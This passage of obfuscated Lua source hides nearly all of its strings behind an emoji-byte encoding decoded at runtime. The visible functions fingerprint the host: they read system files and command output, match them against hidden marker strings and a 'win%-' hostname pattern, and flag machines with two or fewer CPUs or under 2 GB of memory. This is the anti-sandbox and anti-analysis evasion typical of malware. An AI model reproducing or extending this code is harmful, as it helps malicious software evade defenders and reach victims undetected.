      __D("\240\159\144\160\240\159\140\138\240\159\166\136\240\159\165\165\240\159\140\136\240\159\140\138\240\159\166\136\240\159\144\160\240\159\140\186\240\159\166\128\240\159\144\154\240\159\144\161\240\159\166\136\240\159\165\165\240\159\166\128\240\159\140\136\240\159\140\136\240\159\166\136\240\159\144\179\240\159\140\136\240\159\140\136\240\159\144\154\240\159\144\172\240\159\144\162\240\159\144\179\240\159\144\179\240\159\144\162\240\159\144\160\240\159\144\161\240\159\144\139\240\159\144\172\240\159\140\136\240\159\140\138\240\159\140\139\240\159\140\186\240\159\140\180\240\159\140\138\240\159\144\139\240\159\144\153\240\159\140\180\240\159\144\179\240\159\140\138\240\159\140\138\240\159\140\136\240\159\166\128\240\159\140\139\240\159\140\136\240\159\140\180\240\159\140\136\240\159\140\136\240\159\144\162\240\159\144\154\240\159\140\186\240\159\144\154\240\159\140\180\240\159\144\154", __K),
      __D("\240\159\144\160\240\159\140\138\240\159\166\136\240\159\165\165\240\159\140\136\240\159\140\138\240\159\166\136\240\159\144\160\240\159\140\186\240\159\166\128\240\159\144\154\240\159\144\161\240\159\166\136\240\159\165\165\240\159\166\128\240\159\140\136\240\159\140\136\240\159\166\136\240\159\144\179\240\159\140\136\240\159\140\136\240\159\144\154\240\159\144\172\240\159\144\162\240\159\144\179\240\159\144\179\240\159\144\162\240\159\144\160\240\159\144\161\240\159\144\139\240\159\144\172\240\159\140\136\240\159\140\138\240\159\140\139\240\159\140\186\240\159\140\180\240\159\165\165\240\159\140\139\240\159\144\154\240\159\140\139\240\159\144\160\240\159\140\186\240\159\140\186\240\159\166\136\240\159\140\180\240\159\140\136\240\159\144\139\240\159\144\160\240\159\144\162\240\159\165\165\240\159\144\162\240\159\144\153\240\159\140\186\240\159\144\153\240\159\166\128\240\159\144\162\240\159\144\160\240\159\166\136\240\159\166\128\240\159\166\128", __K),
      (__D("\240\159\144\160\240\159\140\138\240\159\166\136\240\159\165\165\240\159\140\136\240\159\140\138\240\159\166\136\240\159\144\160\240\159\140\186\240\159\166\128\240\159\144\154\240\159\144\161\240\159\166\136\240\159\165\165\240\159\166\128\240\159\140\136\240\159\140\136\240\159\166\136\240\159\144\179\240\159\140\136\240\159\140\136\240\159\144\154\240\159\144\172\240\159\144\162\240\159\144\179\240\159\144\179\240\159\144\162\240\159\144\160\240\159\144\161\240\159\144\139\240\159\144\172\240\159\140\136\240\159\140\138\240\159\140\139\240\159\140\186\240\159\140\180\240\159\165\165\240\159\140\139\240\159\144\154\240\159\140\180\240\159\144\160\240\159\166\128\240\159\140\186\240\159\144\161\240\159\144\154\240\159\140\186\240\159\144\162\240\159\144\154\240\159\140\136\240\159\140\186\240\159\144\162\240\159\166\136\240\159\140\186\240\159\144\161\240\159\166\128\240\159\144\172\240\159\144\179\240\159\140\136", __K))
    }) do
      local v55 = io.open(v54, (__D("\240\159\140\186\240\159\140\180", __K)))
      if v55 then
        local v56 = v55:read((__D("\240\159\144\160\240\159\144\161\240\159\144\161\240\159\144\154", __K))) or __D("", __K)
        v55:close()
        if #v56 > 0 then
          vx(v50, vc(v56))
        end
      end
    end
    local v57 = io.open(__D("\240\159\144\160\240\159\140\138\240\159\166\136\240\159\140\186\240\159\140\136\240\159\140\139\240\159\144\161\240\159\140\139\240\159\144\179\240\159\140\138\240\159\144\139\240\159\140\136\240\159\166\136\240\159\144\154\240\159\140\180\240\159\144\162\240\159\140\136\240\159\140\186\240\159\144\160\240\159\144\172\240\159\140\180\240\159\144\153\240\159\144\172\240\159\144\139\240\159\144\179\240\159\166\136", __K), (__D("\240\159\140\186\240\159\140\180", __K)))
    if not v57 or not v57:read((__D("\240\159\144\160\240\159\144\161\240\159\144\161\240\159\144\172", __K))) then
    end
    local v58 = vc((__D("", __K)))
    if v57 then
      v57:close()
    end
    if #v58 > 0 then
      vx(v50, v58)
    end
  end
  local v59 = table.concat(v50, (__D("\240\159\144\161\240\159\144\161", __K)))
  for v60, v61 in ipairs(v48) do
    if v59:find(v61) then
      return v61
    end
  end
  return nil
end
va.f0 = v49
local function v62()
  if vb then
    local v63 = vq({
      __D("\240\159\165\165\240\159\166\128\240\159\140\138\240\159\144\162\240\159\140\139\240\159\144\161\240\159\144\179\240\159\144\172\240\159\144\179\240\159\144\139\240\159\144\154\240\159\144\162\240\159\166\136\240\159\140\136\240\159\166\128\240\159\144\160\240\159\140\136\240\159\140\138\240\159\144\179\240\159\140\136\240\159\144\154\240\159\140\180\240\159\140\138\240\159\144\153\240\159\144\160\240\159\140\186\240\159\140\136\240\159\140\180\240\159\140\138\240\159\165\165\240\159\144\172\240\159\144\161\240\159\140\138\240\159\140\186\240\159\144\172\240\159\165\165\240\159\166\136\240\159\140\139\240\159\140\180\240\159\144\162\240\159\144\160\240\159\144\160\240\159\140\186\240\159\166\136\240\159\140\180\240\159\166\136\240\159\144\162\240\159\144\154\240\159\140\136\240\159\140\186\240\159\140\136\240\159\144\162\240\159\144\172\240\159\140\186\240\159\144\153\240\159\140\138\240\159\166\136\240\159\140\180\240\159\144\153\240\159\166\128\240\159\144\179\240\159\144\139\240\159\140\180\240\159\144\162\240\159\144\172\240\159\140\186\240\159\140\139\240\159\140\180\240\159\144\160\240\159\166\128\240\159\144\139\240\159\144\160\240\159\166\136\240\159\144\179\240\159\140\138\240\159\144\162\240\159\144\172\240\159\144\154\240\159\144\172\240\159\165\165\240\159\144\160\240\159\166\136", __K),
      __D("\240\159\165\165\240\159\166\128\240\159\140\138\240\159\144\162\240\159\140\139\240\159\144\161\240\159\144\179\240\159\144\172\240\159\144\179\240\159\144\139\240\159\144\154\240\159\144\162\240\159\166\136\240\159\140\136\240\159\166\128\240\159\144\160\240\159\140\136\240\159\140\138\240\159\144\179\240\159\140\136\240\159\144\154\240\159\140\180\240\159\140\138\240\159\144\153\240\159\144\160\240\159\140\186\240\159\140\136\240\159\140\180\240\159\140\138\240\159\165\165\240\159\144\172\240\159\144\161\240\159\140\138\240\159\140\186\240\159\144\172\240\159\165\165\240\159\166\136\240\159\140\139\240\159\140\180\240\159\144\162\240\159\144\160\240\159\144\160\240\159\140\186\240\159\166\136\240\159\140\180\240\159\166\136\240\159\144\162\240\159\144\154\240\159\140\136\240\159\140\186\240\159\140\136\240\159\144\162\240\159\144\172\240\159\140\186\240\159\144\153\240\159\140\138\240\159\166\136\240\159\140\180\240\159\144\153\240\159\166\128\240\159\144\179\240\159\144\139\240\159\140\180\240\159\144\162\240\159\144\172\240\159\144\162\240\159\144\139\240\159\144\160\240\159\144\179\240\159\166\128\240\159\144\139\240\159\144\160\240\159\144\161\240\159\144\160\240\159\140\138\240\159\144\162\240\159\144\172\240\159\144\154\240\159\144\172\240\159\165\165\240\159\144\160\240\159\166\136", __K),
      __D("\240\159\165\165\240\159\166\128\240\159\140\138\240\159\144\162\240\159\140\139\240\159\144\161\240\159\144\179\240\159\144\172\240\159\144\179\240\159\144\139\240\159\144\154\240\159\144\162\240\159\166\136\240\159\140\136\240\159\166\128\240\159\144\160\240\159\140\136\240\159\140\138\240\159\144\179\240\159\140\136\240\159\144\154\240\159\140\180\240\159\140\138\240\159\144\153\240\159\144\160\240\159\140\186\240\159\140\136\240\159\140\180\240\159\140\138\240\159\165\165\240\159\144\172\240\159\144\161\240\159\140\138\240\159\140\186\240\159\144\172\240\159\165\165\240\159\166\136\240\159\140\139\240\159\140\180\240\159\144\162\240\159\144\160\240\159\144\160\240\159\140\186\240\159\166\136\240\159\140\180\240\159\166\136\240\159\144\162\240\159\144\154\240\159\140\136\240\159\140\186\240\159\140\136\240\159\144\162\240\159\144\172\240\159\140\186\240\159\144\153\240\159\140\138\240\159\166\136\240\159\140\180\240\159\144\153\240\159\166\128\240\159\144\179\240\159\144\139\240\159\140\180\240\159\144\162\240\159\140\186\240\159\166\128\240\159\140\136\240\159\166\136\240\159\140\186\240\159\144\160\240\159\144\139\240\159\144\160\240\159\144\161\240\159\144\139\240\159\144\161\240\159\144\161", __K),
      __D("\240\159\165\165\240\159\166\128\240\159\140\138\240\159\144\162\240\159\140\139\240\159\144\161\240\159\144\179\240\159\144\172\240\159\144\179\240\159\144\139\240\159\144\154\240\159\144\162\240\159\166\136\240\159\140\136\240\159\166\128\240\159\144\160\240\159\140\136\240\159\140\138\240\159\144\179\240\159\140\136\240\159\144\154\240\159\140\180\240\159\140\138\240\159\144\153\240\159\144\160\240\159\140\186\240\159\140\136\240\159\140\180\240\159\140\138\240\159\165\165\240\159\144\172\240\159\144\161\240\159\140\138\240\159\140\186\240\159\144\172\240\159\165\165\240\159\166\136\240\159\140\139\240\159\140\180\240\159\144\162\240\159\144\160\240\159\144\160\240\159\140\186\240\159\166\136\240\159\140\180\240\159\166\136\240\159\144\162\240\159\144\154\240\159\140\136\240\159\140\186\240\159\140\136\240\159\144\162\240\159\144\172\240\159\140\186\240\159\144\153\240\159\140\138\240\159\166\136\240\159\140\180\240\159\144\153\240\159\166\128\240\159\144\179\240\159\144\139\240\159\140\180\240\159\144\162\240\159\140\186\240\159\140\136\240\159\140\139\240\159\140\139\240\159\144\179\240\159\140\180\240\159\140\139\240\159\165\165\240\159\166\136\240\159\166\128\240\159\140\138\240\159\144\162\240\159\144\172\240\159\144\154\240\159\144\172\240\159\165\165\240\159\144\160\240\159\166\136", __K),
      __D("\240\159\165\165\240\159\166\128\240\159\140\138\240\159\144\162\240\159\140\139\240\159\144\161\240\159\144\179\240\159\144\172\240\159\144\179\240\159\144\139\240\159\144\154\240\159\144\162\240\159\166\136\240\159\140\136\240\159\166\128\240\159\144\160\240\159\140\136\240\159\140\138\240\159\144\179\240\159\140\136\240\159\144\154\240\159\140\180\240\159\140\138\240\159\144\153\240\159\144\160\240\159\140\186\240\159\140\136\240\159\140\180\240\159\140\138\240\159\165\165\240\159\144\172\240\159\144\161\240\159\140\138\240\159\140\186\240\159\144\172\240\159\165\165\240\159\166\136\240\159\140\139\240\159\140\180\240\159\144\162\240\159\144\160\240\159\144\160\240\159\140\186\240\159\166\136\240\159\140\180\240\159\166\136\240\159\144\162\240\159\144\154\240\159\140\136\240\159\140\186\240\159\140\136\240\159\144\162\240\159\144\172\240\159\140\186\240\159\144\153\240\159\140\138\240\159\144\179\240\159\140\180\240\159\140\180\240\159\144\172\240\159\144\179\240\159\144\162\240\159\166\128\240\159\144\153\240\159\140\138\240\159\144\139\240\159\144\139\240\159\165\165\240\159\144\179\240\159\166\128\240\159\144\153\240\159\144\139\240\159\144\161\240\159\140\138\240\159\144\161\240\159\144\153\240\159\144\172\240\159\144\154", __K),
      __D("\240\159\165\165\240\159\166\128\240\159\140\138\240\159\144\162\240\159\140\139\240\159\144\161\240\159\144\179\240\159\144\172\240\159\144\179\240\159\144\139\240\159\144\154\240\159\144\162\240\159\166\136\240\159\140\136\240\159\166\128\240\159\144\160\240\159\140\136\240\159\140\138\240\159\144\179\240\159\140\136\240\159\144\154\240\159\140\180\240\159\140\138\240\159\144\153\240\159\144\160\240\159\140\186\240\159\140\136\240\159\140\180\240\159\140\138\240\159\165\165\240\159\144\172\240\159\144\161\240\159\140\138\240\159\140\186\240\159\144\172\240\159\165\165\240\159\166\136\240\159\140\139\240\159\140\180\240\159\144\162\240\159\144\160\240\159\144\160\240\159\140\186\240\159\166\136\240\159\140\180\240\159\166\136\240\159\144\162\240\159\144\154\240\159\140\136\240\159\140\186\240\159\140\136\240\159\144\162\240\159\144\172\240\159\140\186\240\159\144\153\240\159\140\138\240\159\144\179\240\159\140\180\240\159\140\180\240\159\144\172\240\159\144\179\240\159\140\180\240\159\166\128\240\159\144\160\240\159\165\165\240\159\140\136\240\159\144\139\240\159\165\165\240\159\140\186\240\159\144\160\240\159\144\139\240\159\144\160\240\159\144\161\240\159\144\139\240\159\144\161\240\159\144\161", __K),
      __D("\240\159\165\165\240\159\166\128\240\159\140\138\240\159\144\162\240\159\140\139\240\159\144\161\240\159\144\179\240\159\144\172\240\159\144\179\240\159\144\139\240\159\144\154\240\159\144\162\240\159\166\136\240\159\140\136\240\159\166\128\240\159\144\160\240\159\140\136\240\159\140\138\240\159\144\179\240\159\140\136\240\159\144\154\240\159\140\180\240\159\140\138\240\159\144\153\240\159\144\160\240\159\140\186\240\159\140\136\240\159\140\180\240\159\140\138\240\159\165\165\240\159\144\172\240\159\144\161\240\159\140\138\240\159\140\186\240\159\144\172\240\159\165\165\240\159\166\136\240\159\140\139\240\159\140\180\240\159\144\162\240\159\144\160\240\159\144\160\240\159\140\186\240\159\166\136\240\159\140\180\240\159\166\136\240\159\144\162\240\159\144\154\240\159\140\136\240\159\140\186\240\159\140\136\240\159\144\162\240\159\144\172\240\159\140\186\240\159\144\153\240\159\140\138\240\159\144\179\240\159\140\180\240\159\140\180\240\159\144\172\240\159\144\172\240\159\144\179\240\159\166\128\240\159\166\136\240\159\165\165\240\159\140\186\240\159\144\139\240\159\140\186\240\159\140\186\240\159\144\160\240\159\144\139\240\159\144\160\240\159\144\161\240\159\144\139\240\159\144\161\240\159\144\161", __K),
      __D("\240\159\165\165\240\159\166\128\240\159\140\138\240\159\144\162\240\159\140\139\240\159\144\161\240\159\144\179\240\159\166\136\240\159\144\160\240\159\165\165\240\159\144\154\240\159\140\136\240\159\166\136\240\159\144\139\240\159\140\180\240\159\144\139\240\159\144\162\240\159\144\179\240\159\144\160\240\159\144\160\240\159\140\136\240\159\165\165\240\159\165\165\240\159\144\139\240\159\144\179\240\159\140\186\240\159\144\162\240\159\140\186\240\159\165\165\240\159\140\138\240\159\140\186\240\159\144\172\240\159\144\172\240\159\144\172\240\159\144\161\240\159\166\136\240\159\144\172\240\159\166\136\240\159\144\153\240\159\144\172\240\159\144\160\240\159\140\186\240\159\140\186\240\159\166\136\240\159\140\180\240\159\144\162\240\159\144\139\240\159\166\136\240\159\144\139\240\159\165\165\240\159\144\139\240\159\144\160\240\159\144\172\240\159\144\179\240\159\166\128\240\159\140\180\240\159\144\179\240\159\140\136\240\159\140\180\240\159\140\139\240\159\140\186\240\159\144\161\240\159\144\153\240\159\166\136\240\159\165\165\240\159\140\138\240\159\140\139\240\159\140\180\240\159\144\179\240\159\144\161\240\159\144\139\240\159\144\160\240\159\144\160\240\159\144\153\240\159\144\161\240\159\140\138\240\159\140\186\240\159\140\138\240\159\144\172\240\159\166\128\240\159\144\179\240\159\144\162\240\159\140\180\240\159\144\161\240\159\140\139\240\159\140\180\240\159\144\162\240\159\144\153\240\159\166\136\240\159\144\153\240\159\144\139\240\159\140\138\240\159\144\153\240\159\140\138\240\159\144\162\240\159\144\162\240\159\144\154\240\159\144\139", __K),
      (__D("\240\159\165\165\240\159\166\128\240\159\140\138\240\159\144\162\240\159\140\139\240\159\144\161\240\159\144\179\240\159\144\172\240\159\144\179\240\159\144\139\240\159\144\154\240\159\144\162\240\159\166\136\240\159\140\136\240\159\166\128\240\159\144\160\240\159\140\136\240\159\140\138\240\159\144\179\240\159\140\136\240\159\144\154\240\159\140\180\240\159\140\138\240\159\144\153\240\159\144\160\240\159\140\186\240\159\140\136\240\159\140\180\240\159\140\138\240\159\165\165\240\159\144\172\240\159\144\161\240\159\140\138\240\159\140\186\240\159\144\172\240\159\165\165\240\159\166\136\240\159\140\139\240\159\140\180\240\159\144\162\240\159\144\179\240\159\140\186\240\159\144\172\240\159\144\172\240\159\140\180\240\159\140\138\240\159\144\162\240\159\140\180\240\159\140\180\240\159\144\139\240\159\144\162\240\159\140\180\240\159\140\186\240\159\140\138\240\159\144\162\240\159\140\186\240\159\144\160\240\159\144\154\240\159\166\128\240\159\144\179\240\159\144\179\240\159\140\138", __K))
    })
    return v63
  else
    local v64 = vc(vi((__D("\240\159\144\172\240\159\144\172\240\159\166\136\240\159\165\165\240\159\144\162\240\159\166\136\240\159\144\161\240\159\140\139\240\159\144\179\240\159\144\160\240\159\144\139\240\159\144\179\240\159\165\165\240\159\144\153\240\159\140\136\240\159\144\179\240\159\166\128\240\159\144\162\240\159\144\160\240\159\144\154\240\159\140\180\240\159\166\136\240\159\140\186\240\159\144\139\240\159\140\186\240\159\166\136\240\159\144\162\240\159\140\138\240\159\140\138\240\159\140\138\240\159\144\172\240\159\166\128\240\159\140\138\240\159\144\172", __K))))
    for v65, v66 in ipairs({
      __D("\240\159\140\186\240\159\140\136\240\159\144\161\240\159\140\138\240\159\144\162\240\159\144\179\240\159\166\136\240\159\166\128\240\159\144\179\240\159\166\136\240\159\144\153\240\159\144\172\240\159\166\136\240\159\144\162\240\159\140\180\240\159\140\139\240\159\140\136\240\159\144\172", __K),
      __D("\240\159\140\186\240\159\140\136\240\159\144\161\240\159\140\138\240\159\144\162\240\159\144\179\240\159\166\136\240\159\166\128\240\159\144\160\240\159\140\138\240\159\144\154\240\159\140\138", __K),
      __D("\240\159\140\186\240\159\140\136\240\159\144\161\240\159\140\138\240\159\144\162\240\159\144\179\240\159\166\136\240\159\166\128\240\159\144\160\240\159\144\161\240\159\144\154\240\159\144\153\240\159\166\136\240\159\140\136\240\159\166\128\240\159\140\180\240\159\144\162\240\159\144\162", __K),
      __D("\240\159\140\186\240\159\140\136\240\159\144\161\240\159\144\153\240\159\140\136\240\159\144\154\240\159\144\161\240\159\144\172\240\159\144\179\240\159\144\161\240\159\144\153\240\159\144\154", __K),
      __D("\240\159\144\172\240\159\144\160\240\159\166\136\240\159\166\136\240\159\140\139\240\159\144\179\240\159\166\136\240\159\140\186\240\159\144\179\240\159\144\154\240\159\144\154\240\159\166\136\240\159\144\161\240\159\144\162\240\159\140\180\240\159\140\139", __K),
      __D("\240\159\144\172\240\159\144\160\240\159\166\136\240\159\166\136\240\159\140\139\240\159\144\179\240\159\166\136\240\159\165\165\240\159\144\160\240\159\144\160\240\159\144\154\240\159\144\153\240\159\166\136\240\159\165\165\240\159\140\180\240\159\140\139", __K),
      __D("\240\159\144\172\240\159\166\136\240\159\166\136\240\159\166\136\240\159\144\162\240\159\166\136", __K),
      __D("\240\159\140\186\240\159\144\154\240\159\166\136\240\159\144\139\240\159\144\162\240\159\144\161", __K),
      (__D("\240\159\144\172\240\159\140\180\240\159\144\161\240\159\140\180\240\159\144\162\240\159\144\139\240\159\144\161\240\159\166\128\240\159\144\160\240\159\140\138\240\159\144\154\240\159\140\186\240\159\144\161\240\159\144\153\240\159\166\128\240\159\144\161", __K))
    }) do
      if #v64 > 0 and v64:find(v66, 1, true) then
        return v66
      end
    end
    local v67 = vq({
      __D("\240\159\144\160\240\159\140\138\240\159\166\136\240\159\144\160\240\159\140\136\240\159\144\139\240\159\166\136\240\159\144\179\240\159\140\186\240\159\166\128\240\159\144\153\240\159\144\161\240\159\166\136\240\159\144\153\240\159\166\128\240\159\165\165\240\159\144\162\240\159\140\136\240\159\144\172\240\159\144\161\240\159\166\128\240\159\140\138\240\159\144\172\240\159\140\136\240\159\144\179\240\159\144\179\240\159\140\136\240\159\140\139\240\159\144\161\240\159\144\162\240\159\144\172\240\159\144\160\240\159\140\138\240\159\144\154", __K),
      __D("\240\159\144\160\240\159\140\138\240\159\166\136\240\159\165\165\240\159\144\162\240\159\140\139\240\159\144\161\240\159\140\180\240\159\144\179\240\159\140\180\240\159\144\139\240\159\140\136\240\159\144\161\240\159\166\128\240\159\166\128\240\159\140\180\240\159\144\162\240\159\144\139\240\159\144\179\240\159\144\153\240\159\140\136\240\159\166\128\240\159\144\172\240\159\140\139\240\159\144\179\240\159\144\139", __K),
      (__D("\240\159\144\160\240\159\140\138\240\159\166\136\240\159\144\160\240\159\140\136\240\159\144\139\240\159\166\136\240\159\144\179\240\159\140\186\240\159\166\128\240\159\144\154\240\159\166\136\240\159\166\136\240\159\166\136\240\159\166\128\240\159\144\179\240\159\166\128\240\159\144\162\240\159\144\179\240\159\140\139\240\159\140\180\240\159\166\136\240\159\144\172\240\159\165\165\240\159\144\160\240\159\144\154\240\159\166\128\240\159\144\172\240\159\165\165\240\159\140\186\240\159\144\172\240\159\165\165", __K))
    })
    return v67
  end
end
va.f1 = v62
local function v68()
  local v69 = vc(vu(vb and __D("\240\159\140\138\240\159\144\139\240\159\144\179\240\159\165\165\240\159\144\139\240\159\166\128\240\159\144\179\240\159\144\179\240\159\166\136\240\159\140\180\240\159\166\128\240\159\144\160\240\159\144\179\240\159\140\138\240\159\144\154\240\159\140\180", __K) or __D("\240\159\140\138\240\159\144\139\240\159\144\179\240\159\165\165\240\159\144\139\240\159\166\128\240\159\144\179\240\159\144\179", __K)) or __D("", __K))
  local v70 = vc(vu(vb and __D("\240\159\165\165\240\159\166\128\240\159\144\160\240\159\140\180\240\159\144\139\240\159\166\136\240\159\144\179\240\159\166\136\240\159\144\161\240\159\144\179\240\159\140\180\240\159\140\186\240\159\144\179\240\159\144\162\240\159\144\153\240\159\144\139\240\159\144\139\240\159\140\136\240\159\144\161\240\159\140\139\240\159\144\153\240\159\166\128\240\159\165\165\240\159\140\136", __K) or __D("\240\159\165\165\240\159\144\160\240\159\144\160\240\159\140\180\240\159\140\139\240\159\144\139\240\159\144\179\240\159\140\138\240\159\166\136\240\159\140\180\240\159\166\128\240\159\144\160\240\159\144\179\240\159\140\138\240\159\144\154\240\159\140\180", __K)) or __D("", __K))
  local v71 = {
    __D("\240\159\140\186\240\159\166\128\240\159\144\161\240\159\144\172\240\159\144\162\240\159\144\160\240\159\144\161\240\159\140\138\240\159\144\179\240\159\165\165\240\159\144\154\240\159\140\136\240\159\144\161\240\159\144\161", __K),
    __D("\240\159\144\172\240\159\144\154\240\159\144\161\240\159\166\128\240\159\144\162\240\159\144\162\240\159\144\161\240\159\144\162\240\159\144\160\240\159\144\139\240\159\144\153\240\159\144\161\240\159\166\136\240\159\166\136\240\159\140\180\240\159\140\139", __K),
    __D("\240\159\144\172\240\159\140\186\240\159\144\161\240\159\144\172\240\159\144\162\240\159\144\161\240\159\166\136\240\159\144\172\240\159\144\179\240\159\140\186\240\159\144\153\240\159\166\136\240\159\166\136\240\159\144\162", __K),
    __D("\240\159\144\172\240\159\140\139\240\159\144\161\240\159\144\160\240\159\140\136\240\159\140\180\240\159\144\161\240\159\140\139\240\159\144\179\240\159\140\180\240\159\144\154\240\159\144\160\240\159\144\161\240\159\140\136\240\159\166\128\240\159\165\165\240\159\144\162\240\159\144\162\240\159\144\160\240\159\166\136", __K),
    __D("\240\159\144\172\240\159\144\161\240\159\144\161\240\159\140\180\240\159\144\162\240\159\166\128", __K),
    __D("\240\159\144\172\240\159\166\128\240\159\166\136\240\159\144\160\240\159\144\162\240\159\144\139\240\159\144\161\240\159\144\153\240\159\144\179\240\159\166\128\240\159\144\154\240\159\140\136", __K),
    __D("\240\159\144\172\240\159\166\128\240\159\144\161\240\159\144\172\240\159\140\136\240\159\140\136\240\159\144\161\240\159\165\165", __K),
    __D("\240\159\144\172\240\159\144\154\240\159\144\161\240\159\166\128\240\159\140\136\240\159\140\138\240\159\166\136\240\159\144\179\240\159\144\160\240\159\144\179\240\159\144\154\240\159\144\162", __K),
    "win%-",
    __D("\240\159\144\172\240\159\144\172\240\159\144\161\240\159\144\172\240\159\144\162\240\159\140\139", __K),
    (__D("\240\159\140\186\240\159\140\139\240\159\144\161\240\159\144\160\240\159\140\136\240\159\144\139\240\159\166\136\240\159\140\138", __K))
  }
  for v72, v73 in ipairs(v71) do
    if #v69 > 0 and v69:find(v73) then
      return __D("\240\159\140\186\240\159\144\139\240\159\166\136\240\159\165\165\240\159\144\162\240\159\166\128\240\159\166\136\240\159\144\179\240\159\144\172\240\159\140\136", __K) .. v73
    end
    if #v70 > 0 and v70:find(v73) then
      return __D("\240\159\144\172\240\159\144\160\240\159\144\161\240\159\140\180\240\159\140\136\240\159\144\139\240\159\166\136\240\159\140\138\240\159\144\172\240\159\140\136", __K) .. v73
    end
  end
  return nil
end
va.f2 = v68
local function v74()
  local v75 = tonumber(vu(vb and __D("\240\159\165\165\240\159\165\165\240\159\144\179\240\159\144\160\240\159\144\139\240\159\166\136\240\159\144\160\240\159\144\179\240\159\166\136\240\159\144\179\240\159\140\180\240\159\166\136\240\159\144\160\240\159\140\186\240\159\144\154\240\159\144\160\240\159\144\139\240\159\165\165\240\159\166\136\240\159\144\161\240\159\144\154\240\159\165\165\240\159\140\138\240\159\144\154\240\159\166\136\240\159\166\136\240\159\144\139\240\159\140\180\240\159\144\172\240\159\140\138\240\159\140\138\240\159\144\172\240\159\144\172\240\159\166\128\240\159\166\136\240\159\140\180\240\159\140\186\240\159\140\139\240\159\140\180\240\159\144\160", __K) or __D("\240\159\165\165\240\159\165\165\240\159\144\179\240\159\144\160\240\159\144\139\240\159\166\136\240\159\144\179\240\159\140\139\240\159\144\161\240\159\144\172\240\159\140\180\240\159\166\136\240\159\144\179\240\159\140\186\240\159\144\154\240\159\140\139\240\159\144\139\240\159\140\186\240\159\166\136\240\159\140\136\240\159\144\154\240\159\140\186\240\159\165\165\240\159\144\172\240\159\144\161\240\159\140\136\240\159\140\139\240\159\140\180", __K)) or __D("", __K)) or 0
  local v76 = v75 > 0 and v75 <= 2
  local v77 = false
  if vb then
    local v78 = vi((__D("\240\159\140\186\240\159\144\162\240\159\144\161\240\159\144\153\240\159\144\162\240\159\140\138\240\159\144\161\240\159\144\160\240\159\140\186\240\159\144\172\240\159\166\128\240\159\140\136\240\159\144\160\240\159\144\154\240\159\144\162\240\159\144\162\240\159\144\162\240\159\140\138\240\159\144\160\240\159\144\153\240\159\166\128\240\159\144\161\240\159\144\160\240\159\166\128\240\159\144\161\240\159\144\153\240\159\144\162\240\159\165\165\240\159\140\138\240\159\165\165\240\159\144\172\240\159\165\165\240\159\140\138\240\159\144\172\240\159\144\161\240\159\166\136\240\159\165\165\240\159\140\138\240\159\144\153\240\159\144\160\240\159\144\160\240\159\144\139\240\159\144\172\240\159\166\136\240\159\140\180\240\159\165\165\240\159\140\136\240\159\140\180\240\159\140\139\240\159\144\139\240\159\144\162\240\159\144\153\240\159\140\186\240\159\166\128\240\159\166\128\240\159\144\172\240\159\144\179\240\159\140\136\240\159\166\128\240\159\144\160\240\159\144\161\240\159\144\179\240\159\166\128\240\159\140\136\240\159\140\138\240\159\144\161\240\159\140\139\240\159\144\160\240\159\140\186\240\159\140\136\240\159\144\153\240\159\140\139\240\159\144\161\240\159\144\161\240\159\166\136\240\159\144\160\240\159\140\186\240\159\165\165\240\159\144\172\240\159\140\180\240\159\144\179\240\159\140\186\240\159\140\136\240\159\144\139\240\159\144\154\240\159\144\172\240\159\166\128\240\159\140\186\240\159\140\138\240\159\140\139\240\159\166\128\240\159\140\138\240\159\166\128\240\159\140\138\240\159\140\139\240\159\166\128", __K)))
    local v79 = tonumber(v78:match("TotalVisibleMemorySize=(%d+)") or __D("", __K))
    if v79 and v79 > 0 then
      local v80 = v79 / 1024
      v77 = v80 < 2048
    end
  else
    local v81 = io.open(__D("\240\159\144\160\240\159\140\138\240\159\166\136\240\159\140\186\240\159\140\136\240\159\140\139\240\159\144\161\240\159\140\139\240\159\144\179\240\159\140\138\240\159\144\139\240\159\140\136\240\159\166\136\240\159\140\138\240\159\166\128\240\159\140\180\240\159\144\162\240\159\144\139\240\159\144\160\240\159\144\172\240\159\140\180\240\159\144\153\240\159\144\172\240\159\144\139\240\159\144\179\240\159\166\136", __K), (__D("\240\159\140\186\240\159\140\180", __K)))
    if v81 then
      local v82 = v81:read((__D("\240\159\144\160\240\159\144\161\240\159\144\161\240\159\144\172", __K))) or __D("", __K)
      v81:close()
      local v83 = tonumber(v82:match("MemTotal:%s*(%d+)"))
      v77 = v83 and v83 / 1024 < 2048
    end
  end
  return v76 and __D("\240\159\144\172\240\159\144\172\240\159\144\161\240\159\140\180\240\159\140\136\240\159\144\154\240\159\144\179\240\159\140\139\240\159\144\179\240\159\140\138\240\159\144\153\240\159\144\179\240\159\144\161\240\159\144\162\240\159\140\180\240\159\140\139", __K) or v77 and __D("\240\159\144\172\240\159\144\172\240\159\144\161\240\159\140\180\240\159\140\136\240\159\144\154\240\159\144\179\240\159\140\139\240\159\144\179\240\159\144\154\240\159\144\154\240\159\144\172\240\159\166\136\240\159\140\138", __K) or nil
end
va.f3 = v74
local function v84()
  if vb then
    local v85 = vq({
      __D("\240\159\165\165\240\159\166\128\240\159\140\138\240\159\144\162\240\159\140\139\240\159\144\161\240\159\144\161\240\159\144\161\240\159\144\179\240\159\140\180\240\159\144\154\240\159\144\160\240\159\166\136\240\159\165\165\240\159\140\180\240\159\165\165\240\159\140\136\240\159\166\136\240\159\144\160\240\159\144\172\240\159\166\128\240\159\140\186\240\159\140\138\240\159\140\138", __K),
      __D("\240\159\165\165\240\159\166\128\240\159\140\138\240\159\144\162\240\159\140\139\240\159\144\161\240\159\144\161\240\159\144\154\240\159\144\179\240\159\166\128\240\159\144\154\240\159\144\172\240\159\144\161\240\159\144\154\240\159\166\128\240\159\140\136\240\159\144\162\240\159\140\136\240\159\144\160\240\159\144\154\240\159\140\180\240\159\144\172\240\159\144\172\240\159\144\172\240\159\144\160\240\159\144\172\240\159\140\139\240\159\140\186", __K),
      __D("\240\159\165\165\240\159\166\128\240\159\140\138\240\159\144\162\240\159\140\139\240\159\144\161\240\159\144\179\240\159\165\165\240\159\144\160\240\159\140\138\240\159\144\154\240\159\144\172\240\159\144\161\240\159\144\153\240\159\140\180\240\159\140\139\240\159\140\139\240\159\140\139\240\159\166\136\240\159\144\139\240\159\166\128\240\159\166\136\240\159\144\172\240\159\144\154\240\159\144\179\240\159\144\160\240\159\144\162\240\159\144\160\240\159\165\165\240\159\144\179\240\159\140\138\240\159\166\128\240\159\140\186\240\159\144\154\240\159\166\136\240\159\166\128\240\159\144\172\240\159\144\162\240\159\166\128\240\159\144\162\240\159\166\136\240\159\144\139\240\159\140\138\240\159\144\161\240\159\144\153\240\159\166\136\240\159\144\139\240\159\140\139\240\159\144\139\240\159\140\139", __K),
